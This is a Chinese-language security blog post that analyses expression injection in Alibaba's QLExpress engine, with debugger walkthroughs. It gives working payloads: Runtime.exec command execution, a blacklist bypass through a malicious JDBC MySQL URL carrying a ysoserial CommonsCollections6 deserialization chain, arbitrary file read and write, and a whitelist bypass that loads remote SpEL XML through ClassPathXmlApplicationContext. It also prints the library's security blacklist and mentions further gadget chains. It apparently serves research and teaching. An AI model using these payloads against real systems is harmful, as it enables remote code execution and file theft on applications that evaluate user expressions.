QL表达式注入

依赖

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>QLExpress</artifactId>
<version>3.3.2</version>
</dependency>

来自https://github.com/alibaba/QLExpress

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
变量:使用$符号加上变量名的方式来引用变量,例如$age表示引用变量age的值。

常量:支持整数、浮点数、字符串、布尔值、空值等常量类型,例如12.5"hello"truenull等。

算术表达式:支持加减乘除、取余、取反等算术运算,例如1+23*4、-5等。

逻辑表达式:支持与、或、非等逻辑运算,例如true && falsetrue || false、!true等。

比较表达式:支持等于、不等于、大于、小于、大于等于、小于等于等比较运算,例如1==2"hello"!="world"3>4等。

条件表达式:支持三目运算符来表示条件表达式,例如age>18 ? "成年人" : "未成年人"

正则表达式:支持使用正则表达式进行匹配操作,例如"name =~ 'Tom.*'"表示name以Tom开头的字符串。

函数调用:支持调用内置函数和自定义函数,例如round(3.14159, 2)表示保留3.14159的小数点后2位。

方法调用:支持调用对象的方法,例如user.getName()表示调用user对象的getName()方法。

数组:支持定义和操作数组,例如a[0]表示访问数组a的第一个元素。

Map:支持定义和操作Map,例如map.get("key")表示获取Map中键为key的值。

对象属性:支持访问对象的属性,例如user.name表示访问user对象的name属性。

赋值表达式:支持将值赋给变量或对象属性,例如age = 20、user.name = "Tom"

代码块:支持使用大括号将多个表达式组成代码块,并通过return语句返回值,例如{a=1;b=2;return a+b;}。

表达式语句:支持将多个表达式用分号分隔,表示多个语句组成一个代码块,例如a=1;b=2;c=3;。

Operator

可以用来修改相关的关键字

1
2
3
runner.addOperatorWithAlias("如果", "if", null);
runner.addOperatorWithAlias("则", "then", null);
runner.addOperatorWithAlias("否则", "else", null);

调用类方法

如果传入一个类 我们可以直接调用这个类里面的任意方法

比如把这个shell类绑定到a变量 调用a.evil方法 就能调用对应的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example.qlinject;

import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;

import java.io.IOException;

public class main {
public static void main(String[] args) {
try{
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
shell shell = new shell();
context.put("a", shell);
// context.put("b",2);
String express = "a.evil();";
Object r = runner.execute(express, context, null, true, false);
System.out.println(r);
}catch (Exception e){
e.printStackTrace();
}

}
}
class shell{
public void evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

调试一下如何调用的

image-20240916204009974

这里校验了 输入的表达式是否缓存内 如果在缓存里面就取出 不在就加载

后面主要是环境的构建和表达式的解析 随后来到了executeInner方法

image-20240916204424681

先是寻找这个类的对应调用方法 找到之后先是进行了安全性检查 检查无误之后尝试反射调用

image-20240916204535756

然后就调用了我们的方法

image-20240916204611756

显然这里直接导入一个写成这样的恶意类的情况几乎不存在 我们也可以调用其他的

image-20240916204914928

官方文档里面提供了这个 告诉我们在内部已经导入了这些包

如果没有任何安全组的情况下 我们是可以直接执行命令的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class main {
public static void main(String[] args) {
try{
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
String express = "Runtime.getRuntime().exec(\"calc\");";
Object r = runner.execute(express, context, null, true, false);
System.out.println(r);
}catch (Exception e){
e.printStackTrace();
}

}
}

安全组设置

QLExpress 提供了三个级别的保护给我们

黑名单

需要在代码中开启

1
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);

这样我们上面的payload就失效了

调试一下

image-20240916210655327

这里有一个方法 阻止我们调用不安全的方法A(v3.3.2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static {
// 系统退出
SECURITY_RISK_METHOD_LIST.add(System.class.getName() + "." + "exit");

// 运行脚本命令
SECURITY_RISK_METHOD_LIST.add(Runtime.getRuntime().getClass().getName() + ".exec");
SECURITY_RISK_METHOD_LIST.add(ProcessBuilder.class.getName() + ".start");

// 反射相关
SECURITY_RISK_METHOD_LIST.add(Method.class.getName() + ".invoke");
SECURITY_RISK_METHOD_LIST.add(Class.class.getName() + ".forName");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".loadClass");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".findClass");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".defineClass");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".getSystemClassLoader");

// jndi 相关
SECURITY_RISK_METHOD_LIST.add("javax.naming.InitialContext.lookup");
SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setDataSourceName");
SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setAutoCommit");

SECURITY_RISK_METHOD_LIST.add("jdk.jshell.JShell.create");
SECURITY_RISK_METHOD_LIST.add("javax.script.ScriptEngineManager.getEngineByName");
SECURITY_RISK_METHOD_LIST.add("org.springframework.jndi.JndiLocatorDelegate.lookup");

// QLE QLExpressRunStrategy的所有方法
for (Method method : QLExpressRunStrategy.class.getMethods()) {
SECURITY_RISK_METHOD_LIST.add(QLExpressRunStrategy.class.getName() + "." + method.getName());
}
}

这里虽然过滤了很多东西 但依旧可以存在漏洞 比如jdbc 要求本地存在可以反序列化的依赖

jdbc

image-20240917152247075

这里可以直接调用jdbc打本地链子了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

public class main {
public static void main(String[] args) throws ScriptException {
try{
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
String express = "import java.sql.Connection;import java.sql.DriverManager;url='jdbc:mysql://url:3333/mysql?characterEncoding=utf8&useSSL=false&maxAllowedPacket=65535&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&user=yso_CommonsCollections6_calc';Connection conn = DriverManager.getConnection(url);a=1;a";
Object r = runner.execute(express, context, null, true, false);
System.out.println(r);
}catch (Exception e){
e.printStackTrace();
}

}
}

image-20240917152440192

这里可以利用java.io.还可以读写文件

任意文件读

1
String code = "import java.io.BufferedReader;n" +"import java.io.FileReader;n" +"FileReader f=new FileReader("flag");n" +"BufferedReader a=new BufferedReader(f);n" +"String str=a.readLine();n" +"System.out.println(str);";

image-20240917161800902

任意文件写

1
String code = "import java.io.*;n" +"BufferedWriter out = new BufferedWriter(new FileWriter("flag"));n" +"out.write("success");n" +"out.close();";

还可以打反序列化的链子 如果有依赖的话 这里不细研究

白名单

默认不提供白名单设置

image-20240917162101984

官方可以让我们加白预期了,这样非预期类的执行的方法会失败

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class main {
public static void main(String[] args) {
try{
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
QLExpressRunStrategy.addSecureMethod(Runtime.class, "getRuntime");
QLExpressRunStrategy.addSecureMethod(Runtime.class, "freeMemory");
String express = "Runtime.getRuntime().exec(\"calc\");";
Object r = runner.execute(express, context, null, true, false);
System.out.println(r);
}catch (Exception e){
e.printStackTrace();
}

}
}

这里加白了freeMemory 方法 但是调用的是其他的方法

断点下在QLExpressMethod#QLExpressRunStrategy.assertSecurityRiskMethod(method);方法这里

进到assertSecurityRiskMethod 里面

image-20240917164927186

他的每次都是拼成类和方法 然后和集合里面的比较方法字符串

这里获取的都是使用反射获取的类名字和方法名凭拼接 不能修改绕过

构造方法触发恶意调用

在另外的包里面 我写入一个这样的文件

image-20240917171323594

然后我们的代码这样写

image-20240917171335992

运行如下

image-20240917171405581

虽然会被抛出 但是还是触发了构造方法

调试下去 在com.ql.util.express.instruction.op#的executeInner方法这里通过反射构造了这个类

image-20240917171935697

这里用反射调用了构造方法 在调用类的构造方法之后 才使用QLExpressRunStrategy.assertSecurityRiskMethod(method); 检查使用的方法 如果能找到一个类 构造方法存在注入 就能造成注入

ClassPathXmlApplicationContext

在ClassPathXmlApplicationContext 的构造函数里面存在refresh方法

image-20240917173215161

里面有一个invokeBeanFactoryPostProcessors 方法 在上下文里面调用了工厂处理器

image-20240917173446027

跟下去,AbstractBeanFactory.resolveBeanClass()->AbstractBeanFactory.doResolveBeanClass(),用来解析Bean类

调用了evaluateBeanDefinitionString()函数来执行Bean定义的字符串内容 触发SpEL 注入

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class main {
public static void main(String[] args) {
try{
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
QLExpressRunStrategy.addSecureMethod(Runtime.class, "getRuntime");
QLExpressRunStrategy.addSecureMethod(Runtime.class, "freeMemory");
ClassPathXmlApplicationContext a = new ClassPathXmlApplicationContext();
String express = "import org.springframework.context.support.ClassPathXmlApplicationContext;ClassPathXmlApplicationContext b = new ClassPathXmlApplicationContext('http://127.0.0.1:8888/spel.xml');a=1;a";
Object r = runner.execute(express, context, null, true, false);
System.out.println(r);
}catch (Exception e){
e.printStackTrace();
}

}
}

成功绕过白名单

image-20240917193831149

PrintServiceLookup

gson链子的终点

JDK 中 PrintServiceLookup 接口用于提供打印服务的注册查找功能

他的构造函数可以rce

实现了PrintServiceLookup都可以rce

IniEnvironment

来自wmctf 的一条新链子 在包org.apache.activemq.shiro.env.IniEnvironment 下

创建一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package org.example.aaa;

public class aaa {
private String name;
private int age;

// 构造函数
public aaa(){

}
public aaa(String name, int age) {
this.name = name;
this.age = age;
}

// Getter方法
public String getName() {
System.out.println("getName");
return name;
}

// Setter方法
public void setName(String name) {
System.out.println("setName");
this.name = name;
}

// Getter方法
public int getAge() {
System.out.println("getAge");
return age;
}

// Setter方法
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}

然后尝试去获取这个类

1
2
3
4
5
 IniEnvironment iniEnvironment=new IniEnvironment("user=org.example.aaa.aaa\n" +
"user.name=\"114\"\n" +
"user.age=514\n"+
"user.age.a=1919\"");
}

可以看到调用了setAge和getAge方法

image-20240917203550827

看到他的构造函数

image-20240917204619084

他会调用这个init方法

image-20240917205901891

在里面调用createObjects 方法 构建了一个bean工厂然后实例化

image-20240917210135466

一路上就是创建Ini 然后createInstance buildInstances

主要从buildInstances 开始

image-20240917211006908

一路上都是属性读取什么的 主要出现这里

image-20240917211438308

这里使用applyProperty 解析了这个对象的属性

image-20240917211646952

这里使用 setProperty 设置了对象属性 调用链子如下

image-20240917211753688

get方法的触发 出现在applyProperty 方法内

image-20240917211826032

这里进去 的getPropertyDescriptor 方法内会使用getProperty(bean, next) 触发getter方法。

在ini容器里面 存在一些配置

image-20240917212014314

二次反序列化新链学习 - 先知社区 (aliyun.com)

这里就可以接上很多的链子了

这里我们也可以利用这个完成二次反序列化 或者接上一些调用getter的方法 这里不细说

沙箱

提供了沙箱模式 ban了很多

image-20240917213036234

没啥想法